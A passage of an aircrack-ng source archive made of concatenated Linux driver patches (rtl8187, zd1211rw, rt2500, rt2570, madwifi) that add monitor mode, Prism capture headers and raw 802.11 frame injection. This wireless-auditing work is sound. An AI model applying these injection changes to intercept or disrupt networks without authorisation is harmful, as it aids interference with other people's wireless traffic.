printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +485,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +508,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-02-26 03:05:16.071549944 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.2-rc4/patches/old/zd1211rw-inject+dbi-fix-2.6.39.2.2.patch0000644000000000000000000000360312103567066023277 0ustar rootrootdiff -Naur linux/drivers/net/wireless/zd1211rw/zd_mac.c zdpats/drivers/net/wireless/zd1211rw/zd_mac.c --- linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-05-19 06:06:34.000000000 +0200 +++ zdpats/drivers/net/wireless/zd1211rw/zd_mac.c 2011-06-25 17:46:33.146013429 +0200 @@ -227,14 +227,19 @@ static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mac_and_bssid(struct zd_mac *mac) @@ -970,7 +975,8 @@ /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -983,7 +989,8 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = status->signal_strength; - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1312,7 +1319,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING; hw->wiphy->interface_modes = aircrack-ng-1.2-rc4/patches/old/rt2500-cvs-20050724.patch0000644000000000000000000000435010761053203020574 0ustar rootrootdiff -ur ../rt2500-cvs-20050724/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-20050724/Module/rtmp_data.c 2005-07-15 17:40:02.000000000 +0200 +++ ./Module/rtmp_data.c 2005-07-26 19:04:28.000000000 +0200 @@ -2741,6 +2741,23 @@ return (NDIS_STATUS_FAILURE); } + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pAdapter->TxRing[pAdapter->CurEncryptIndex].FrameType = BTYPE_DATA; + pDest = (PUCHAR) pAdapter->TxRing[pAdapter->CurEncryptIndex].va_data_addr; + pTxD = (PTXD_STRUC) pAdapter->TxRing[pAdapter->CurEncryptIndex].va_addr; + MlmeSetPsmBit(pAdapter, PWR_ACTIVE); + memcpy(pDest,skb->data,skb->len); + RTMPWriteTxDescriptor(pTxD, TRUE, CIPHER_NONE, FALSE, FALSE, FALSE, SHORT_RETRY, IFS_BACKOFF, pAdapter->PortCfg.TxRate, 4, skb->len, pAdapter->PortCfg.TxPreambleInUsed, AccessCategory); + + pAdapter->CurEncryptIndex++; + if (pAdapter->CurEncryptIndex >= TX_RING_SIZE) + pAdapter->CurEncryptIndex = 0; + pAdapter->RalinkCounters.EncryptCount++; + + goto skip_all_this_shit; + } + if (EnableTxBurst == 1) FrameGap = IFS_SIFS; else @@ -2779,6 +2796,7 @@ // // Start making 802.11 frame header + // this whole code is just a pathetic mess // memset(&Header_802_11, 0, sizeof(HEADER_802_11)); // Initialize 802.11 header for each fragment if (INFRA_ON(pAdapter)) @@ -3411,6 +3429,7 @@ } while (NumberRequired > 0); +skip_all_this_shit: // Kick Encrypt Control Register at the end of all ring buffer preparation RTMP_IO_WRITE32(pAdapter, SECCSR1, 0x1); diff -ur ../rt2500-cvs-20050724/Module/rtmp_main.c ./Module/rtmp_main.c --- ../rt2500-cvs-20050724/Module/rtmp_main.c 2005-07-15 17:40:02.000000000 +0200 +++ ./Module/rtmp_main.c 2005-07-26 19:03:46.000000000 +0200 @@ -354,6 +354,7 @@ DBGPRINT(RT_DEBUG_INFO, "<==== RTMPSendPackets\n"); +/* if (pAdapter->PortCfg.BssType == BSS_MONITOR) { dev_kfree_skb_irq(skb); @@ -368,7 +369,7 @@ // And Mibss for Ad-hoc mode setup dev_kfree_skb_irq(skb); } - else + else*/ { // This function has to manage NdisSendComplete return call within its routine // NdisSendComplete will acknowledge upper layer in two steps. aircrack-ng-1.2-rc4/patches/old/rt2500-cvs-20051008-prismheader.patch0000644000000000000000000001172010761053203023070 0ustar rootrootdiff -ur ../rt2500-cvs-20051008/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-20051008/Module/rtmp_data.c 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp_data.c 2005-11-05 01:20:02.000000000 +0100 @@ -50,6 +50,7 @@ 0, /* RATE_1 */ 1, /* RATE_2 */ 2, /* RATE_5_5 */ 3, /* RATE_11 */ // see BBP spec 11, /* RATE_6 */ 15, /* RATE_9 */ 10, /* RATE_12 */ 14, /* RATE_18 */ // see IEEE802.11a-1999 p.14 9, /* RATE_24 */ 13, /* RATE_36 */ 8, /* RATE_48 */ 12 /* RATE_54 */ }; // see IEEE802.11a-1999 p.14 +static UINT _11G_RATES[12] = { 0, 0, 0, 0, 6, 9, 12, 18, 24, 36, 48, 54 }; #define COLLECT_RX_ANTENNA_AVERAGE_RSSI(_pAd, _RxAnt, _rssi) \ { \ @@ -1132,9 +1133,61 @@ if (pAdapter->PortCfg.BssType == BSS_MONITOR) { struct sk_buff *skb; + wlan_ng_prism2_header *ph; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + // setup the wlan-ng prismheader + + if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) + pskb_expand_head(skb, sizeof(wlan_ng_prism2_header), 0, GFP_ATOMIC); + + ph = (wlan_ng_prism2_header *) + skb_push(skb, sizeof(wlan_ng_prism2_header)); + memset(ph, 0, sizeof(wlan_ng_prism2_header)); + + ph->msgcode = DIDmsg_lnxind_wlansniffrm; + ph->msglen = sizeof(wlan_ng_prism2_header); + strcpy(ph->devname, pAdapter->net_dev->name); + + ph->hosttime.did = DIDmsg_lnxind_wlansniffrm_hosttime; + ph->mactime.did = DIDmsg_lnxind_wlansniffrm_mactime; + ph->channel.did = DIDmsg_lnxind_wlansniffrm_channel; + ph->rssi.did = DIDmsg_lnxind_wlansniffrm_rssi; + ph->signal.did = DIDmsg_lnxind_wlansniffrm_signal; + ph->noise.did = DIDmsg_lnxind_wlansniffrm_noise; + ph->rate.did = DIDmsg_lnxind_wlansniffrm_rate; + ph->istx.did = DIDmsg_lnxind_wlansniffrm_istx; + ph->frmlen.did = DIDmsg_lnxind_wlansniffrm_frmlen; + + ph->hosttime.len = 4; + ph->mactime.len = 4; + ph->channel.len = 4; + ph->rssi.len = 4; + ph->signal.len = 4; + ph->noise.len = 4; + ph->rate.len = 4; + ph->istx.len = 4; + ph->frmlen.len = 4; + + ph->hosttime.data = jiffies; + ph->signal.data = pRxD->BBR1; + ph->channel.data = pAdapter->PortCfg.IbssConfig.Channel; + ph->noise.data = pAdapter->PortCfg.LastR17Value; + ph->rssi.data = ph->signal.data - ph->noise.data; + ph->frmlen.data = pRxD->DataByteCnt; + + if (pRxD->Ofdm == 1) + { + for (i = 4; i < 12; i++) + if (pRxD->BBR0 == PlcpSignal[i]) + ph->rate.data = _11G_RATES[i] * 2; + } + else + ph->rate.data = pRxD->BBR0 / 5; + + // end prismheader setup + skb->dev = pAdapter->net_dev; memcpy(skb_put(skb, pRxD->DataByteCnt), pData, pRxD->DataByteCnt); skb->mac.raw = skb->data; diff -ur ../rt2500-cvs-20051008/Module/rtmp.h ./Module/rtmp.h --- ../rt2500-cvs-20051008/Module/rtmp.h 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp.h 2005-10-09 00:10:27.000000000 +0200 @@ -2549,4 +2549,54 @@ IN ULONG DescriptorType); #endif +#ifndef _PRISMHEADER +#define _PRISMHEADER + +enum { + DIDmsg_lnxind_wlansniffrm = 0x00000044, + DIDmsg_lnxind_wlansniffrm_hosttime = 0x00010044, + DIDmsg_lnxind_wlansniffrm_mactime = 0x00020044, + DIDmsg_lnxind_wlansniffrm_channel = 0x00030044, + DIDmsg_lnxind_wlansniffrm_rssi = 0x00040044, + DIDmsg_lnxind_wlansniffrm_sq = 0x00050044, + DIDmsg_lnxind_wlansniffrm_signal = 0x00060044, + DIDmsg_lnxind_wlansniffrm_noise = 0x00070044, + DIDmsg_lnxind_wlansniffrm_rate = 0x00080044, + DIDmsg_lnxind_wlansniffrm_istx = 0x00090044, + DIDmsg_lnxind_wlansniffrm_frmlen = 0x000A0044 +}; +enum { + P80211ENUM_msgitem_status_no_value = 0x00 +}; +enum { + P80211ENUM_truth_false = 0x00, + P80211ENUM_truth_true = 0x01 +}; + +typedef struct { + u_int32_t did; + u_int16_t status; + u_int16_t len; + u_int32_t data; +} p80211item_uint32_t; + +typedef struct { + u_int32_t msgcode; + u_int32_t msglen; +#define WLAN_DEVNAMELEN_MAX 16 + u_int8_t devname[WLAN_DEVNAMELEN_MAX]; + p80211item_uint32_t hosttime; + p80211item_uint32_t mactime; + p80211item_uint32_t channel; + p80211item_uint32_t rssi; + p80211item_uint32_t sq; + p80211item_uint32_t signal; + p80211item_uint32_t noise; + p80211item_uint32_t rate; + p80211item_uint32_t istx; + p80211item_uint32_t frmlen; +} wlan_ng_prism2_header; + +#endif + #endif // __RTMP_H__ diff -ur ../rt2500-cvs-20051008/Module/rtmp_info.c ./Module/rtmp_info.c --- ../rt2500-cvs-20051008/Module/rtmp_info.c 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp_info.c 2005-10-09 00:07:51.000000000 +0200 @@ -1973,7 +1973,7 @@ { if (pAdapter->PortCfg.BssType == BSS_MONITOR) { - pAdapter->net_dev->type = 801; + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM RTMP_IO_WRITE32(pAdapter, RXCSR0, 0x4e); } else aircrack-ng-1.2-rc4/patches/old/zd1211rw_inject_2.6.26.patch0000644000000000000000000000254412103567066021624 0ustar rootrootdiff -pur drivers/net/wireless/zd1211rw/zd_mac.c.orig drivers/net/wireless/zd1211rw/zd_mac.c --- drivers/net/wireless/zd1211rw/zd_mac.c.orig 2008-07-20 19:44:42.000000000 +0200 +++ drivers/net/wireless/zd1211rw/zd_mac.c 2008-07-20 19:49:24.000000000 +0200 @@ -159,14 +159,19 @@ void zd_mac_clear(struct zd_mac *mac) static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mc_hash(struct zd_mac *mac) @@ -679,7 +684,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1520.patch0000644000000000000000000000165510761053203020744 0ustar rootrootdiff -ur madwifi-ng-r1520/ath/if_ath.c patched_madwifi-ng-r1520/ath/if_ath.c --- madwifi-ng-r1520/ath/if_ath.c 2006-04-21 18:58:34.000000000 +0200 +++ patched_madwifi-ng-r1520/ath/if_ath.c 2006-04-22 15:34:58.000000000 +0200 @@ -2247,6 +2247,7 @@ { struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; + struct ieee80211com *ic = &sc->sc_ic; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; int pktlen; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/rt2570-k2wrlz-1.6.1_2.6.24.patch0000644000000000000000000000355711031124735021046 0ustar rootrootdiff -Naur rt2570-k2wrlz-1.6.1/Module/rtusb_main.c rt2570-k2wrlz-1.6.1-24/Module/rtusb_main.c --- rt2570-k2wrlz-1.6.1/Module/rtusb_main.c 2007-07-05 18:41:51.000000000 +0200 +++ rt2570-k2wrlz-1.6.1-24/Module/rtusb_main.c 2008-06-27 10:48:28.000000000 +0200 @@ -1629,7 +1629,9 @@ netif_stop_queue(netdev); pAdapter->config = dev->config; pAdapter->usb = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAdapter->net); +#endif ether_setup(pAdapter->net); #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) SET_ETHTOOL_OPS(net_dev, &rt2x00_ethtool_ops); @@ -1650,7 +1652,9 @@ pAdapter->net->hard_header_len = 14; pAdapter->net->mtu = 1500; pAdapter->net->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAdapter->net->weight = 64; +#endif pAdapter->MediaState = NdisMediaStateDisconnected; {// find available @@ -1961,7 +1965,9 @@ netif_stop_queue(netdev); pAdapter->config = &dev->config->desc; pAdapter->usb = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAdapter->net); +#endif ether_setup(pAdapter->net); netdev->open = usb_rtusb_open; netdev->stop = usb_rtusb_close; @@ -1981,7 +1987,9 @@ pAdapter->net->hard_header_len = 14; pAdapter->net->mtu = 1500; pAdapter->net->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAdapter->net->weight = 64; +#endif pAdapter->MediaState = NdisMediaStateDisconnected; #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 5, 0) pAdapter->MLMEThr_pid= -1; @@ -2011,8 +2019,11 @@ for (i = 0; i < 8; i++) { sprintf(slot_name, pAdapter->net->name, i); - +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,24)) + for (device = first_net_device(&init_net); device != NULL; +#else for (device = first_net_device(); device != NULL; +#endif device = next_net_device(device)) { if (strncmp(device->name, slot_name, IFNAMSIZ) == 0) aircrack-ng-1.2-rc4/patches/rtl8187_2.6.27.patch0000644000000000000000000156417611050354367017366 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211_crypt.h 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-08-12 13:11:32.000000000 -0400 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211.h 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-08-12 14:23:31.000000000 -0400 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ 